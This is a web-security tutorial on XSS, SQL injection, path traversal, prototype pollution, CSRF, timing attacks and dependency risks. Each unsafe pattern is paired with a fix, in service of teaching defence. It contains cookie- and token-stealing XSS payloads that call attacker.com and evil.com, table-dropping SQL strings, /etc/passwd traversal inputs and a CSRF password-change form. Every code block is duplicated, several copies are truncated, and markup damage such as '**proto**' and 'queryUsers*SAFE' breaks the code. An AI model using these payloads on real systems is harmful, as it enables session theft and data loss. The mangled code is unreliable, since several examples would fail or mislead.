Academy — Sanjib Sikder

Security Is a Mindset, Not a Checklist

Every security vulnerability in this lesson follows the same pattern: developer-controlled data and user-controlled data were treated as the same thing. The attacker found a place where untrusted input was used as trusted instruction — and exploited it.

The fix is always the same principle in a different form: never trust input, validate at the boundary, escape at the output, separate data from code.

We cannot demonstrate live network attacks in this sandbox. We can demonstrate every underlying mechanism — the same JavaScript logic that makes attacks possible and the same patterns that prevent them.

Cross-Site Scripting (XSS)

XSS is the most common web vulnerability. It happens when user-supplied text is inserted into a page as HTML without escaping — turning a comment, a name, or a search term into executable code:

JavaScript

Ctrl+Enter to run

// The vulnerability — treating user input as trusted HTML
function renderComment_UNSAFE(userInput) {
  // In a real browser this would execute the script:
  // document.getElementById("comments").innerHTML = userInput;
  // We simulate the effect here:
  return `[innerHTML]: ${userInput}`;
}

// Attacker inputs — what gets "injected"
const attacks = [
'<script>document.cookie</script>',
'<img src=x onerror="fetch(attacker.com?c="+document.cookie)">',
'<svg onload="stealSession()">',
'"><script>alert(1)</script>',
'javascript:void(fetch("//evil.com/steal?token="+localStorage.token))',
];

console.log("=== UNSAFE — each input executes as code ===");
attacks.forEach(a => console.log(renderComment_UNSAFE(a)));

// The fix: escape HTML entities before inserting
function escapeHTML(str) {
return String(str)
.replace(/&/g, "&amp;")
.replace(/</g, "&lt;")
.replace(/>/g, "&gt;")
.replace(/"/g, "&quot;")
.replace(/'/g, "&#x27;")
.replace(/\//g, "&#x2F;");
}

function renderComment_SAFE(userInput) {
const escaped = escapeHTML(userInput);
// Now safe to set as innerHTML — script tags are just text
return `[innerHTML]: ${escaped}`;
}

console.log("\n=== SAFE — all special characters escaped ===");
attacks.forEach(a => console.log(renderComment_SAFE(a)));

// The vulnerability — treating user input as trusted HTML
function renderComment_UNSAFE(userInput) {
  // In a real browser this would execute the script:
  // document.getElementById("comments").innerHTML = userInput;
  // We simulate the effect here:
  return `[innerHTML]: ${userInput}`;
}

// Attacker inputs — what gets "injected"
const attacks = [
'<script>document.cookie</script>',
'<img src=x onerror="fetch(attacker.com?c="+document.cookie)">',
'<svg onload="stealSession()">',
'"><script>alert(1)</script>',
'javascript:void(fetch("//evil.com/steal?token="+localStorage.token))',
];

console.log("=== UNSAFE — each input executes as code ===");
attacks.forEach(a => console.log(renderComment_UNSAFE(a)));

// The fix: escape HTML entities before inserting
function escapeHTML(str) {
return String(str)
.replace(/&/g, "&amp;")
.replace(/</g, "&lt;")
.replace(/>/g, "&gt;")
.replace(/"/g, "&quot;")
.replace(/'/g, "&#x27;")
.replace(/\//g, "&#x2F;");
}

function renderComment_SAFE(userInput) {
const escaped = escapeHTML(userInput);
// Now safe to set as innerHTML — script tags are just text
return `[innerHTML]: ${escaped}`;
}

console.log("\n=== SAFE — all special characters escaped ===");
attacks.forEach(a => console.log(renderComment_SAFE(a)));

JavaScript

Ctrl+Enter to run

// Content Security Policy (CSP) — the second line of defence
// Even if XSS slips through escaping, CSP limits what injected scripts can do

// CSP is a response header — tells the browser what to allow:
// Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'

// In JavaScript: never use these patterns (they defeat CSP)
const DANGEROUS = [
"innerHTML = userInput", // parses as HTML — XSS vector
"outerHTML = userInput", // same
"document.write(userInput)", // same
"eval(userInput)", // executes arbitrary code
"new Function(userInput)", // same as eval
"setTimeout(userInput, 0)", // string form executes as code
"element.src = userInput", // javascript: URL injection
];

// Safe alternatives
const SAFE = [
"textContent = userInput", // always text, never HTML
"setAttribute('data-x', escapeHTML(input))", // escaped attribute
"createTextNode(input)", // text node, never parsed as HTML
// For rich text: use a sanitiser library (DOMPurify)
];

console.log("Never use with untrusted input:");
DANGEROUS.forEach(d => console.log(" ✗ " + d));
console.log("\nSafe alternatives:");
SAFE.forEach(s => console.log(" ✓ " + s));

// DOMPurify usage (in a real browser project):
// import DOMPurify from "dompurify";
// const clean = DOMPurify.sanitize(userHTML, { ALLOWED_TAGS: ["b","i","em","strong"] });
// element.innerHTML = clean;
console.log("\nFor user-generated rich text: use DOMPurify.sanitize()");

// Content Security Policy (CSP) — the second line of defence
// Even if XSS slips through escaping, CSP limits what injected scripts can do

// CSP is a response header — tells the browser what to allow:
// Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'

// In JavaScript: never use these patterns (they defeat CSP)
const DANGEROUS = [
"innerHTML = userInput", // parses as HTML — XSS vector
"outerHTML = userInput", // same
"document.write(userInput)", // same
"eval(userInput)", // executes arbitrary code
"new Function(userInput)", // same as eval
"setTimeout(userInput, 0)", // string form executes as code
"element.src = userInput", // javascript: URL injection
];

// Safe alternatives
const SAFE = [
"textContent = userInput", // always text, never HTML
"setAttribute('data-x', escapeHTML(input))", // escaped attribute
"createTextNode(input)", // text node, never parsed as HTML
// For rich text: use a sanitiser library (DOMPurify)
];

console.log("Never use with untrusted input:");
DANGEROUS.forEach(d => console.log(" ✗ " + d));
console.log("\nSafe alternatives:");
SAFE.forEach(s => console.log(" ✓ " + s));

// DOMPurify usage (in a real browser project):
// import DOMPurify from "dompurify";
// const clean = DOMPurify.sanitize(userHTML, { ALLOWED_TAGS: ["b","i","em","strong"] });
// element.innerHTML = clean;
console.log("\nFor user-generated rich text: use DOMPurify.sanitize()");

Injection — SQL, Command, and Path Traversal

Injection is XSS's server-side cousin. Untrusted input is concatenated into a command — SQL, shell, file path — and executed:

JavaScript

Ctrl+Enter to run

// SQL injection — the classic
// Attacker input: ' OR '1'='1
// Vulnerable query: SELECT * FROM users WHERE name = '' OR '1'='1'
// Result: returns ALL users

function queryUsers_UNSAFE(name) {
// Simulating what the DB would execute:
const sql = `SELECT * FROM students WHERE name = '${name}'`;
console.log("Executing:", sql);
return sql;
}

const attacks = [
"Rahul", // normal
"' OR '1'='1", // returns all rows
"'; DROP TABLE students; --", // destroys the table
"' UNION SELECT password FROM admin_users --", // data exfiltration
];

console.log("=== UNSAFE SQL concatenation ===");
attacks.forEach(a => queryUsers_UNSAFE(a));

// The fix: parameterised queries — NEVER concatenate user input into SQL
function queryUsers*SAFE(name) {
// In a real DB client (pg, mysql2, sqlite3):
// const result = await db.query("SELECT * FROM students WHERE name = $1", [name]);
// The DB driver handles escaping — the parameter is never interpreted as SQL
console.log("Executing: SELECT _ FROM students WHERE name = $1");
console.log("Parameter:", JSON.stringify(name)); // safely separate from the query
}

console.log("\n=== SAFE parameterised queries ===");
attacks.forEach(a => queryUsers_SAFE(a));

// SQL injection — the classic
// Attacker input: ' OR '1'='1
// Vulnerable query: SELECT * FROM users WHERE name = '' OR '1'='1'
// Result: returns ALL users

function queryUsers_UNSAFE(name) {
// Simulating what the DB would execute:
const sql = `SELECT * FROM students WHERE name = '${name}'`;
console.log("Executing:", sql);
return sql;
}

const attacks = [
"Rahul", // normal
"' OR '1'='1", // returns all rows
"'; DROP TABLE students; --", // destroys the table
"' UNION SELECT password FROM admin_users --", // data exfiltration
];

console.log("=== UNSAFE SQL concatenation ===");
attacks.forEach(a => queryUsers_UNSAFE(a));

// The fix: parameterised queries — NEVER concatenate user input into SQL
function queryUsers*SAFE(name) {
// In a real DB client (pg, mysql2, sqlite3):
// const result = await db.query("SELECT * FROM students WHERE name = $1", [name]);
// The DB driver handles escaping — the parameter is never interpreted as SQL
console.log("Executing: SELECT _ FROM students WHERE name = $1");
console.log("Parameter:", JSON.stringify(name)); // safely separate from the query
}

console.log("\n=== SAFE parameterised queries ===");
attacks.forEach(a => queryUsers_SAFE(a));

JavaScript

Ctrl+Enter to run

// Path traversal — escaping the intended directory
// Attacker: filename = "../../etc/passwd"
// Server reads: /var/www/uploads/../../etc/passwd → /etc/passwd

function readFile_UNSAFE(filename) {
// Simulating: fs.readFileSync(`/var/www/uploads/${filename}`)
const path = `/var/www/uploads/${filename}`;
console.log("Reading:", path);
}

const pathAttacks = [
"essay.pdf", // normal
"../config/database.json", // parent directory
"../../etc/passwd", // system file
"....//....//etc/passwd", // encoded traversal
"%2e%2e%2f%2e%2e%2fetc%2fpasswd",// URL encoded
];

console.log("=== UNSAFE path construction ===");
pathAttacks.forEach(f => readFile_UNSAFE(f));

// The fix: resolve and validate the path stays within the allowed directory
function readFile_SAFE(filename, baseDir = "/var/www/uploads") {
// Simulate path.resolve and path.join
// In Node.js:
// const resolved = path.resolve(baseDir, filename);
// if (!resolved.startsWith(path.resolve(baseDir))) {
// throw new Error("Path traversal detected");
// }

// Simple simulation:
const normalised = filename.replace(/..(\/|\)/g, "").replace(/^\//, "");
const resolved = baseDir + "/" + normalised;

// Whitelist approach: only allow expected file extensions
const allowed = [".pdf", ".jpg", ".png", ".docx"];
const ext = normalised.slice(normalised.lastIndexOf("."));

if (!allowed.includes(ext)) {
throw new Error(`File type not allowed: ${ext}`);
}

console.log("Safe resolved path:", resolved);
}

console.log("\n=== SAFE path validation ===");
["essay.pdf", "photo.jpg"].forEach(f => {
try { readFile_SAFE(f); } catch(e) { console.log("Blocked:", e.message); }
});
["../config/database.json", "../../etc/passwd"].forEach(f => {
try { readFile_SAFE(f); } catch(e) { console.log("Blocked:", e.message); }
});

// Path traversal — escaping the intended directory
// Attacker: filename = "../../etc/passwd"
// Server reads: /var/www/uploads/../../etc/passwd → /etc/passwd

function readFile_UNSAFE(filename) {
// Simulating: fs.readFileSync(`/var/www/uploads/${filename}`)
const path = `/var/www/uploads/${filename}`;
console.log("Reading:", path);
}

const pathAttacks = [
"essay.pdf", // normal
"../config/database.json", // parent directory
"../../etc/passwd", // system file
"....//....//etc/passwd", // encoded traversal
"%2e%2e%2f%2e%2e%2fetc%2fpasswd",// URL encoded
];

console.log("=== UNSAFE path construction ===");
pathAttacks.forEach(f => readFile_UNSAFE(f));

// The fix: resolve and validate the path stays within the allowed directory
function readFile_SAFE(filename, baseDir = "/var/www/uploads") {
// Simulate path.resolve and path.join
// In Node.js:
// const resolved = path.resolve(baseDir, filename);
// if (!resolved.startsWith(path.resolve(baseDir))) {
// throw new Error("Path traversal detected");
// }

// Simple simulation:
const normalised = filename.replace(/..(\/|\)/g, "").replace(/^\//, "");
const resolved = baseDir + "/" + normalised;

// Whitelist approach: only allow expected file extensions
const allowed = [".pdf", ".jpg", ".png", ".docx"];
const ext = normalised.slice(normalised.lastIndexOf("."));

if (!allowed.includes(ext)) {
throw new Error(`File type not allowed: ${ext}`);
}

console.log("Safe resolved path:", resolved);
}

console.log("\n=== SAFE path validation ===");
["essay.pdf", "photo.jpg"].forEach(f => {
try { readFile_SAFE(f); } catch(e) { console.log("Blocked:", e.message); }
});
["../config/database.json", "../../etc/passwd"].forEach(f => {
try { readFile_SAFE(f); } catch(e) { console.log("Blocked:", e.message); }
});

Prototype Pollution

JavaScript's prototype chain is a feature. It is also an attack surface. If an attacker can inject a key like __proto__ or constructor.prototype into an object merge operation, they can modify the prototype of every object in the application:

JavaScript

Ctrl+Enter to run

// Prototype pollution — modifying Object.prototype via merge

function mergeUnsafe(target, source) {
for (const key in source) {
if (typeof source[key] === "object" && source[key] !== null) {
if (!target[key]) target[key] = {};
mergeUnsafe(target[key], source[key]); // recurse — dangerous
} else {
target[key] = source[key];
}
}
return target;
}

// Normal use
const config = mergeUnsafe({}, { theme: "dark", fontSize: 14 });
console.log("Config:", config.theme);

// Attack: inject **proto**
const maliciousInput = JSON.parse('{"**proto**": {"isAdmin": true}}');
mergeUnsafe({}, maliciousInput);

// Now EVERY object has isAdmin = true — including ones created later
const user = { name: "Rahul" };
console.log("user.isAdmin (should be undefined):", user.isAdmin); // true — polluted!
console.log("Prototype polluted:", ({}).isAdmin); // true

// Verify the pollution source
console.log("On Object.prototype:", Object.prototype.isAdmin); // true — catastrophic

// Clean up for the next examples (in a real app you'd have to restart)
delete Object.prototype.isAdmin;

// Prototype pollution — modifying Object.prototype via merge

// Normal use
const config = mergeUnsafe({}, { theme: "dark", fontSize: 14 });
console.log("Config:", config.theme);

// Attack: inject **proto**
const maliciousInput = JSON.parse('{"**proto**": {"isAdmin": true}}');
mergeUnsafe({}, maliciousInput);

// Now EVERY object has isAdmin = true — including ones created later
const user = { name: "Rahul" };
console.log("user.isAdmin (should be undefined):", user.isAdmin); // true — polluted!
console.log("Prototype polluted:", ({}).isAdmin); // true

// Verify the pollution source
console.log("On Object.prototype:", Object.prototype.isAdmin); // true — catastrophic

// Clean up for the next examples (in a real app you'd have to restart)
delete Object.prototype.isAdmin;

JavaScript

Ctrl+Enter to run

// Safe merge patterns — three approaches

// Approach 1: explicit key allowlist — never trust unknown keys
function mergeSafe_allowlist(target, source, allowedKeys) {
for (const key of allowedKeys) {
if (key in source) target[key] = source[key];
}
return target;
}

// Approach 2: block dangerous keys explicitly
function mergeSafe_block(target, source) {
const BLOCKED = new Set(["__proto__", "constructor", "prototype"]);

for (const key of Object.keys(source)) { // Object.keys skips inherited
if (BLOCKED.has(key)) {
console.log(`Blocked key: ${key}`);
continue;
}
if (typeof source[key] === "object" && source[key] !== null) {
if (!target[key]) target[key] = {};
mergeSafe_block(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}

// Approach 3: Object.create(null) — prototype-less objects as intermediate stores
function createSafeStore() {
return Object.create(null); // no prototype — pollution has nowhere to land
}

// Test all three against the attack
const attack = JSON.parse('{"**proto**": {"isAdmin": true}, "theme": "dark"}');

const r1 = mergeSafe_allowlist({}, attack, ["theme", "fontSize"]);
console.log("Allowlist result:", r1);
console.log("Polluted?", ({}).isAdmin); // should be undefined

const r2 = mergeSafe_block({}, attack);
console.log("Block result:", r2);
console.log("Polluted?", ({}).isAdmin);

const store = createSafeStore();
store.key = "value";
console.log("Safe store value:", store.key);
console.log("Has **proto**?", "**proto**" in store); // false — no prototype

// Always prefer structuredClone or JSON.parse/stringify for deep copies
const safe = JSON.parse(JSON.stringify(attack));
console.log("\nJSON roundtrip strips **proto**:", safe);

// Safe merge patterns — three approaches

// Approach 1: explicit key allowlist — never trust unknown keys
function mergeSafe_allowlist(target, source, allowedKeys) {
for (const key of allowedKeys) {
if (key in source) target[key] = source[key];
}
return target;
}

// Approach 2: block dangerous keys explicitly
function mergeSafe_block(target, source) {
const BLOCKED = new Set(["__proto__", "constructor", "prototype"]);

for (const key of Object.keys(source)) { // Object.keys skips inherited
if (BLOCKED.has(key)) {
console.log(`Blocked key: ${key}`);
continue;
}
if (typeof source[key] === "object" && source[key] !== null) {
if (!target[key]) target[key] = {};
mergeSafe_block(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}

// Approach 3: Object.create(null) — prototype-less objects as intermediate stores
function createSafeStore() {
return Object.create(null); // no prototype — pollution has nowhere to land
}

// Test all three against the attack
const attack = JSON.parse('{"**proto**": {"isAdmin": true}, "theme": "dark"}');

const r1 = mergeSafe_allowlist({}, attack, ["theme", "fontSize"]);
console.log("Allowlist result:", r1);
console.log("Polluted?", ({}).isAdmin); // should be undefined

const r2 = mergeSafe_block({}, attack);
console.log("Block result:", r2);
console.log("Polluted?", ({}).isAdmin);

const store = createSafeStore();
store.key = "value";
console.log("Safe store value:", store.key);
console.log("Has **proto**?", "**proto**" in store); // false — no prototype

// Always prefer structuredClone or JSON.parse/stringify for deep copies
const safe = JSON.parse(JSON.stringify(attack));
console.log("\nJSON roundtrip strips **proto**:", safe);

CSRF — Cross-Site Request Forgery

CSRF tricks a victim's browser into making an authenticated request to your server on behalf of the attacker. The browser automatically attaches cookies to every request — including ones initiated by a malicious third-party page:

JavaScript

Ctrl+Enter to run

// CSRF attack scenario:
// 1. User is logged in to academy.sanjibsikder.com (has auth cookie)
// 2. User visits attacker.com
// 3. attacker.com's page silently posts to academy.sanjibsikder.com/api/change-password
// 4. Browser automatically includes the auth cookie
// 5. Server sees a valid authenticated request — accepts it

// The attack HTML on attacker.com (never send this):
// <form method="POST" action="https://academy.sanjibsikder.com/api/change-password">
// <input name="password" value="hacked123">
// </form>
// <script>document.forms[0].submit()</script>

// Defences:

// 1. CSRF Token — server issues a random token per session
// Client must include it in every state-changing request
// Attacker cannot read the token from a different origin (Same-Origin Policy)

class CSRFProtection {
#tokens = new Map();

generateToken(sessionId) {
const token = crypto.randomUUID();
this.#tokens.set(sessionId, token);
return token;
}

validate(sessionId, submittedToken) {
const expected = this.#tokens.get(sessionId);
if (!expected) return false;
// Constant-time comparison prevents timing attacks (see below)
return this.#constantTimeEqual(expected, submittedToken);
}

#constantTimeEqual(a, b) {
if (a.length !== b.length) return false;
let diff = 0;
for (let i = 0; i < a.length; i++) {
diff |= a.charCodeAt(i) ^ b.charCodeAt(i);
}
return diff === 0;
}
}

const csrf = new CSRFProtection();
const sessionId = "user-session-123";
const token = csrf.generateToken(sessionId);

console.log("CSRF token issued:", token.slice(0, 8) + "…");
console.log("Valid token:", csrf.validate(sessionId, token));
console.log("Wrong token:", csrf.validate(sessionId, "attacker-forged-token"));
console.log("No token:", csrf.validate(sessionId, ""));

// 2. SameSite cookie attribute — modern and simple
// Set-Cookie: session=abc; SameSite=Strict; Secure; HttpOnly
// SameSite=Strict: cookie NOT sent on cross-site requests at all
// SameSite=Lax: cookie sent on top-level navigations only
// HttpOnly: JavaScript cannot read the cookie (prevents XSS theft)
// Secure: only sent over HTTPS

console.log("\nSecure cookie flags:");
console.log(" HttpOnly — JS cannot read → XSS cannot steal");
console.log(" Secure — HTTPS only → no interception");
console.log(" SameSite=Strict — not sent cross-site → CSRF blocked");

// CSRF attack scenario:
// 1. User is logged in to academy.sanjibsikder.com (has auth cookie)
// 2. User visits attacker.com
// 3. attacker.com's page silently posts to academy.sanjibsikder.com/api/change-password
// 4. Browser automatically includes the auth cookie
// 5. Server sees a valid authenticated request — accepts it

// The attack HTML on attacker.com (never send this):
// <form method="POST" action="https://academy.sanjibsikder.com/api/change-password">
// <input name="password" value="hacked123">
// </form>
// <script>document.forms[0].submit()</script>

// Defences:

// 1. CSRF Token — server issues a random token per session
// Client must include it in every state-changing request
// Attacker cannot read the token from a different origin (Same-Origin Policy)

class CSRFProtection {
#tokens = new Map();

generateToken(sessionId) {
const token = crypto.randomUUID();
this.#tokens.set(sessionId, token);
return token;
}

validate(sessionId, submittedToken) {
const expected = this.#tokens.get(sessionId);
if (!expected) return false;
// Constant-time comparison prevents timing attacks (see below)
return this.#constantTimeEqual(expected, submittedToken);
}

#constantTimeEqual(a, b) {
if (a.length !== b.length) return false;
let diff = 0;
for (let i = 0; i < a.length; i++) {
diff |= a.charCodeAt(i) ^ b.charCodeAt(i);
}
return diff === 0;
}
}

const csrf = new CSRFProtection();
const sessionId = "user-session-123";
const token = csrf.generateToken(sessionId);

console.log("CSRF token issued:", token.slice(0, 8) + "…");
console.log("Valid token:", csrf.validate(sessionId, token));
console.log("Wrong token:", csrf.validate(sessionId, "attacker-forged-token"));
console.log("No token:", csrf.validate(sessionId, ""));

// 2. SameSite cookie attribute — modern and simple
// Set-Cookie: session=abc; SameSite=Strict; Secure; HttpOnly
// SameSite=Strict: cookie NOT sent on cross-site requests at all
// SameSite=Lax: cookie sent on top-level navigations only
// HttpOnly: JavaScript cannot read the cookie (prevents XSS theft)
// Secure: only sent over HTTPS

console.log("\nSecure cookie flags:");
console.log(" HttpOnly — JS cannot read → XSS cannot steal");
console.log(" Secure — HTTPS only → no interception");
console.log(" SameSite=Strict — not sent cross-site → CSRF blocked");

Timing Attacks — When Time Leaks Information

A naive string comparison returns early as soon as it finds a mismatched character. This leaks information: if a token comparison takes slightly longer, it matched more characters. An attacker who can measure response times can deduce secret values one character at a time:

JavaScript

Ctrl+Enter to run

// Timing attack demonstration — early-exit vs constant-time

function naiveCompare(secret, guess) {
if (secret.length !== guess.length) return false;
for (let i = 0; i < secret.length; i++) {
if (secret[i] !== guess[i]) return false; // exits early — leaks position
}
return true;
}

function constantTimeCompare(secret, guess) {
if (secret.length !== guess.length) return false;
let diff = 0;
for (let i = 0; i < secret.length; i++) {
diff |= secret.charCodeAt(i) ^ guess.charCodeAt(i); // XOR — never exits early
}
return diff === 0; // 0 means all chars matched
}

const secret = "super-secret-api-key-xyz";

// Simulate timing measurement
function measureTime(fn, iterations = 100000) {
const t = performance.now();
for (let i = 0; i < iterations; i++) fn();
return performance.now() - t;
}

// Correct guess (all chars match until last)
const almostRight = "super-secret-api-key-xx" + "y"; // wrong last char
// Completely wrong
const veryWrong = "aaaaaaaaaaaaaaaaaaaaaaaaa";

const naiveAlmost = measureTime(() => naiveCompare(secret, almostRight));
const naiveWrong = measureTime(() => naiveCompare(secret, veryWrong));
const constAlmost = measureTime(() => constantTimeCompare(secret, almostRight));
const constWrong = measureTime(() => constantTimeCompare(secret, veryWrong));

console.log("Naive comparison (×100k):");
console.log(` Almost right: ${naiveAlmost.toFixed(2)}ms`);
console.log(` Very wrong: ${naiveWrong.toFixed(2)}ms`);
console.log(` Difference: ${Math.abs(naiveAlmost - naiveWrong).toFixed(2)}ms ← leaks info`);

console.log("\nConstant-time comparison (×100k):");
console.log(` Almost right: ${constAlmost.toFixed(2)}ms`);
console.log(` Very wrong: ${constWrong.toFixed(2)}ms`);
console.log(` Difference: ${Math.abs(constAlmost - constWrong).toFixed(2)}ms ← minimal`);

console.log("\nRule: always use constant-time comparison for secrets, tokens, and passwords");

// Timing attack demonstration — early-exit vs constant-time

function naiveCompare(secret, guess) {
if (secret.length !== guess.length) return false;
for (let i = 0; i < secret.length; i++) {
if (secret[i] !== guess[i]) return false; // exits early — leaks position
}
return true;
}

function constantTimeCompare(secret, guess) {
if (secret.length !== guess.length) return false;
let diff = 0;
for (let i = 0; i < secret.length; i++) {
diff |= secret.charCodeAt(i) ^ guess.charCodeAt(i); // XOR — never exits early
}
return diff === 0; // 0 means all chars matched
}

const secret = "super-secret-api-key-xyz";

// Simulate timing measurement
function measureTime(fn, iterations = 100000) {
const t = performance.now();
for (let i = 0; i < iterations; i++) fn();
return performance.now() - t;
}

// Correct guess (all chars match until last)
const almostRight = "super-secret-api-key-xx" + "y"; // wrong last char
// Completely wrong
const veryWrong = "aaaaaaaaaaaaaaaaaaaaaaaaa";

const naiveAlmost = measureTime(() => naiveCompare(secret, almostRight));
const naiveWrong = measureTime(() => naiveCompare(secret, veryWrong));
const constAlmost = measureTime(() => constantTimeCompare(secret, almostRight));
const constWrong = measureTime(() => constantTimeCompare(secret, veryWrong));

console.log("Naive comparison (×100k):");
console.log(` Almost right: ${naiveAlmost.toFixed(2)}ms`);
console.log(` Very wrong: ${naiveWrong.toFixed(2)}ms`);
console.log(` Difference: ${Math.abs(naiveAlmost - naiveWrong).toFixed(2)}ms ← leaks info`);

console.log("\nConstant-time comparison (×100k):");
console.log(` Almost right: ${constAlmost.toFixed(2)}ms`);
console.log(` Very wrong: ${constWrong.toFixed(2)}ms`);
console.log(` Difference: ${Math.abs(constAlmost - constWrong).toFixed(2)}ms ← minimal`);

console.log("\nRule: always use constant-time comparison for secrets, tokens, and passwords");

Dependency Security — Your Code Is the Smallest Part

Modern applications have hundreds of transitive dependencies. A single compromised package can inject malicious code into every project that depends on it:

JavaScript

Ctrl+Enter to run

// Supply chain attack patterns — what to watch for

const riskFactors = [
{
risk: "Typosquatting",
example: "cros-fetch vs cross-fetch, lodsh vs lodash",
defence: "Always copy-paste package names, never type from memory",
},
{
risk: "Dependency confusion",
example: "Private package 'mycompany-utils' shadows public package of same name",
defence: "Use scoped packages (@mycompany/utils) and .npmrc scope mapping",
},
{
risk: "Compromised maintainer",
example: "event-stream (2018): attacker took over package, added bitcoin stealer",
defence: "Pin exact versions, use lockfiles (package-lock.json / yarn.lock)",
},
{
risk: "Malicious install scripts",
example: "postinstall script exfiltrates env variables",
defence: "npm install --ignore-scripts for untrusted packages",
},
{
risk: "Abandoned packages",
example: "Old package with known CVE, no maintainer to patch it",
defence: "npm audit, Snyk, GitHub Dependabot — automate vulnerability scanning",
},
];

riskFactors.forEach(({ risk, example, defence }) => {
console.log(`\n⚠ ${risk}`);
console.log(` Example: ${example}`);
console.log(` Defence: ${defence}`);
});

// Practical: what to do before adding any new dependency
const checklist = [
"npm info <package> — check download count, last publish date",
"Check GitHub: stars, open issues, last commit date",
"Review what the package does — do you really need it?",
"Run npm audit after adding — check for known CVEs",
"Commit package-lock.json — lockfile pins exact resolved versions",
"For sensitive contexts: review the source code of small packages",
];

console.log("\nDependency review checklist:");
checklist.forEach(c => console.log(" ✓", c));

// Supply chain attack patterns — what to watch for

const riskFactors = [
{
risk: "Typosquatting",
example: "cros-fetch vs cross-fetch, lodsh vs lodash",
defence: "Always copy-paste package names, never type from memory",
},
{
risk: "Dependency confusion",
example: "Private package 'mycompany-utils' shadows public package of same name",
defence: "Use scoped packages (@mycompany/utils) and .npmrc scope mapping",
},
{
risk: "Compromised maintainer",
example: "event-stream (2018): attacker took over package, added bitcoin stealer",
defence: "Pin exact versions, use lockfiles (package-lock.json / yarn.lock)",
},
{
risk: "Malicious install scripts",
example: "postinstall script exfiltrates env variables",
defence: "npm install --ignore-scripts for untrusted packages",
},
{
risk: "Abandoned packages",
example: "Old package with known CVE, no maintainer to patch it",
defence: "npm audit, Snyk, GitHub Dependabot — automate vulnerability scanning",
},
];

riskFactors.forEach(({ risk, example, defence }) => {
console.log(`\n⚠ ${risk}`);
console.log(` Example: ${example}`);
console.log(` Defence: ${defence}`);
});

// Practical: what to do before adding any new dependency
const checklist = [
"npm info <package> — check download count, last publish date",
"Check GitHub: stars, open issues, last commit date",
"Review what the package does — do you really need it?",
"Run npm audit after adding — check for known CVEs",
"Commit package-lock.json — lockfile pins exact resolved versions",
"For sensitive contexts: review the source code of small packages",
];

console.log("\nDependency review checklist:");
checklist.forEach(c => console.log(" ✓", c));

Input Validation — Trust Nothing That Crosses a Boundary

Every input from outside your code — HTTP request body, URL parameter, file upload, WebSocket message, localStorage read — is untrusted. Validate at the boundary, reject anything that doesn't conform:

JavaScript

Ctrl+Enter to run

// A complete input validation system

class ValidationError extends Error {
constructor(field, message) {
super(message);
this.name = "ValidationError";
this.field = field;
}
}

const validators = {
string(value, field, { minLen = 0, maxLen = 1000, pattern } = {}) {
if (typeof value !== "string")
throw new ValidationError(field, "Must be a string");
if (value.length < minLen)
throw new ValidationError(field, `Min length is ${minLen}`);
if (value.length > maxLen)
throw new ValidationError(field, `Max length is ${maxLen}`);
if (pattern && !pattern.test(value))
throw new ValidationError(field, "Invalid format");
return value.trim();
},

number(value, field, { min, max, integer = false } = {}) {
const n = Number(value);
if (isNaN(n))
throw new ValidationError(field, "Must be a number");
if (integer && !Number.isInteger(n))
throw new ValidationError(field, "Must be an integer");
if (min !== undefined && n < min)
throw new ValidationError(field, `Minimum is ${min}`);
if (max !== undefined && n > max)
throw new ValidationError(field, `Maximum is ${max}`);
return n;
},

email(value, field) {
const s = validators.string(value, field, { maxLen: 254 });
if (!/^[^\s@]+@[^\s@]+.[^\s@]+$/.test(s))
throw new ValidationError(field, "Invalid email address");
return s.toLowerCase();
},

enum(value, field, allowed) {
if (!allowed.includes(value))
throw new ValidationError(field, `Must be one of: ${allowed.join(", ")}`);
return value;
},
};

function validateStudentSubmission(raw) {
return {
name: validators.string(raw.name, "name", { minLen: 2, maxLen: 100, pattern: /^[\p{L}\s'-]+$/u }),
email: validators.email(raw.email, "email"),
marks: validators.number(raw.marks, "marks", { min: 0, max: 100, integer: true }),
subject: validators.enum(raw.subject, "subject", ["Physics", "Chemistry", "Maths", "Biology"]),
};
}

const submissions = [
{ name: "Rahul Kumar", email: "rahul@example.com", marks: 82, subject: "Physics" },
{ name: "A", email: "rahul@example.com", marks: 82, subject: "Physics" }, // name too short
{ name: "Priya", email: "not-an-email", marks: 91, subject: "Chemistry" }, // bad email
{ name: "Arjun", email: "a@b.com", marks: 150, subject: "Maths" }, // marks > 100
{ name: "Sneha", email: "s@b.com", marks: 78, subject: "History" }, // bad subject
{ name: "<script>", email: "x@y.com", marks: 50, subject: "Physics" }, // XSS in name
];

submissions.forEach((sub, i) => {
try {
const valid = validateStudentSubmission(sub);
console.log(`✓ Submission ${i+1}:`, valid.name, valid.email);
} catch (e) {
console.log(`✗ Submission ${i+1} [${e.field}]: ${e.message}`);
}
});

// A complete input validation system

class ValidationError extends Error {
constructor(field, message) {
super(message);
this.name = "ValidationError";
this.field = field;
}
}

number(value, field, { min, max, integer = false } = {}) {
const n = Number(value);
if (isNaN(n))
throw new ValidationError(field, "Must be a number");
if (integer && !Number.isInteger(n))
throw new ValidationError(field, "Must be an integer");
if (min !== undefined && n < min)
throw new ValidationError(field, `Minimum is ${min}`);
if (max !== undefined && n > max)
throw new ValidationError(field, `Maximum is ${max}`);
return n;
},

email(value, field) {
const s = validators.string(value, field, { maxLen: 254 });
if (!/^[^\s@]+@[^\s@]+.[^\s@]+$/.test(s))
throw new ValidationError(field, "Invalid email address");
return s.toLowerCase();
},

enum(value, field, allowed) {
if (!allowed.includes(value))
throw new ValidationError(field, `Must be one of: ${allowed.join(", ")}`);
return value;
},
};

function validateStudentSubmission(raw) {
return {
name: validators.string(raw.name, "name", { minLen: 2, maxLen: 100, pattern: /^[\p{L}\s'-]+$/u }),
email: validators.email(raw.email, "email"),
marks: validators.number(raw.marks, "marks", { min: 0, max: 100, integer: true }),
subject: validators.enum(raw.subject, "subject", ["Physics", "Chemistry", "Maths", "Biology"]),
};
}

const submissions = [
{ name: "Rahul Kumar", email: "rahul@example.com", marks: 82, subject: "Physics" },
{ name: "A", email: "rahul@example.com", marks: 82, subject: "Physics" }, // name too short
{ name: "Priya", email: "not-an-email", marks: 91, subject: "Chemistry" }, // bad email
{ name: "Arjun", email: "a@b.com", marks: 150, subject: "Maths" }, // marks > 100
{ name: "Sneha", email: "s@b.com", marks: 78, subject: "History" }, // bad subject
{ name: "<script>", email: "x@y.com", marks: 50, subject: "Physics" }, // XSS in name
];

submissions.forEach((sub, i) => {
try {
const valid = validateStudentSubmission(sub);
